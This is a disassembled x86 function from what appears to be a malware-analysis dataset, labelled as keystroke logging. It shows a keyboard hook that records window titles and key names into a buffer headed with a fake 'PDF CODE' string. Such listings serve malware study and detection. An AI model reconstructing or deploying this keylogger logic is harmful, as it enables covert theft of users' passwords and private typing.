Function at 0x405435
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x968
cmp dword [ebp + 8], 0
jne 0x40579c
cmp dword [ebp + 0xc], 0x104
je 0x40545f
cmp dword [ebp + 0xc], 0x100
je 0x40545f
jmp 0x40579c
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov dword [ebp - 0x28], eax
mov eax, dword [edx + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x18], eax
cmp dword [0x40dd00], 0
jle 0x40549a
mov eax, 0x80000
sub eax, dword [0x40dd00]
cmp eax, 0xff
jle 0x4054d9
cmp dword [0x40dd00], 0x7ffff
jg 0x4054d9
mov dword [esp], 0
call sub.msvcrt.dll_time
mov edx, eax
mov eax, dword [0x40de20]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_difftime
fld qword [0x40aec0]
fxch st(1)
fucompp
fnstsw ax
sahf
jae 0x4054d9
jmp 0x40559d
mov eax, dword [0x40dd00]
mov dword [esp + 4], eax
mov dword [esp], 0x40de40
call fcn.00405957
cmp dword [0x40dd00], 0
jle 0x405509
mov eax, 0x80000
sub eax, dword [0x40dd00]
cmp eax, 0xff
jle 0x405517
cmp dword [0x40dd00], 0x7ffff
jg 0x405517
jmp 0x405537
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0x78
jg 0x405537
mov dword [esp], 0x270f
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x2c]
inc dword [eax]
jmp 0x40551e
mov dword [0x40dd00], 0
mov dword [esp + 8], 0x80000
mov dword [esp + 4], 0
mov dword [esp], 0x40de40
call sub.ntdll.dll_memset
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [0x40de20], eax
call fcn.00406199
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_n_____Here_we_start__PDF_CODE_1.1_...______n
mov dword [esp], 0x40de40
call sub.ntdll.dll_sprintf
mov dword [esp], 0x40de40
call sub.ntdll.dll_strlen
add dword [0x40dd00], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x438]
mov dword [esp], eax
call sub.ntdll.dll_memset
cmp dword [0x40de10], 0
je 0x4055f9
cmp dword [0x40c8e0], 0
je 0x4055f9
mov eax, dword [0x40c070]
call eax
mov dword [ebp - 0x2c], eax
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x438]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [0x40c060]
call eax
sub esp, 0xc
lea eax, [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4dde90
call fcn.004060b5
test eax, eax
jne 0x405680
lea eax, [ebp - 0x438]
mov dword [esp + 8], eax
mov dword [esp + 4], str._n______s______n
lea eax, [ebp - 0x838]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x838]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov eax, dword [0x40dd00]
mov dword [esp + 8], eax
lea eax, [ebp - 0x838]
mov dword [esp + 4], eax
mov dword [esp], 0x40de40
call fcn.004052b8
lea eax, [ebp - 0x838]
mov dword [esp], eax
call sub.ntdll.dll_strlen
add dword [0x40dd00], eax
lea eax, [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4dde90
call sub.ntdll.dll_strcpy
mov dword [ebp - 0x2c], 0
lea edx, [ebp - 0x938]
mov eax, 0x100
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.ntdll.dll_memset
mov dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x24]
mov edx, eax
shl edx, 0x10
lea eax, [ebp - 0x2c]
add dword [eax], edx
mov eax, dword [ebp - 0x20]
mov edx, eax
shl edx, 0x18
lea eax, [ebp - 0x2c]
add dword [eax], edx
mov dword [esp + 8], 0xff
lea eax, [ebp - 0x938]
inc eax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.USER32.dll_GetKeyNameTextA
sub esp, 0xc
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 1
jne 0x405726
movzx eax, byte [ebp - 0x937]
mov byte [ebp - 0x938], al
mov byte [ebp - 0x937], 0
jmp 0x40574f
mov byte [ebp - 0x938], 0x5b
lea eax, [ebp - 8]
add eax, dword [ebp - 0x93c]
sub eax, 0x92f
mov byte [eax], 0x5d
lea eax, [ebp - 8]
add eax, dword [ebp - 0x93c]
sub eax, 0x92e
mov byte [eax], 0
lea eax, [ebp - 0x938]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov eax, dword [0x40dd00]
mov dword [esp + 8], eax
lea eax, [ebp - 0x938]
mov dword [esp + 4], eax
mov dword [esp], 0x40de40
call fcn.004052b8
lea eax, [ebp - 0x938]
mov dword [esp], eax
call sub.ntdll.dll_strlen
add dword [0x40dd00], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [0x40c4d0]
mov dword [esp], eax
call sub.USER32.dll_CallNextHookEx
sub esp, 0x10
leave
ret 0xc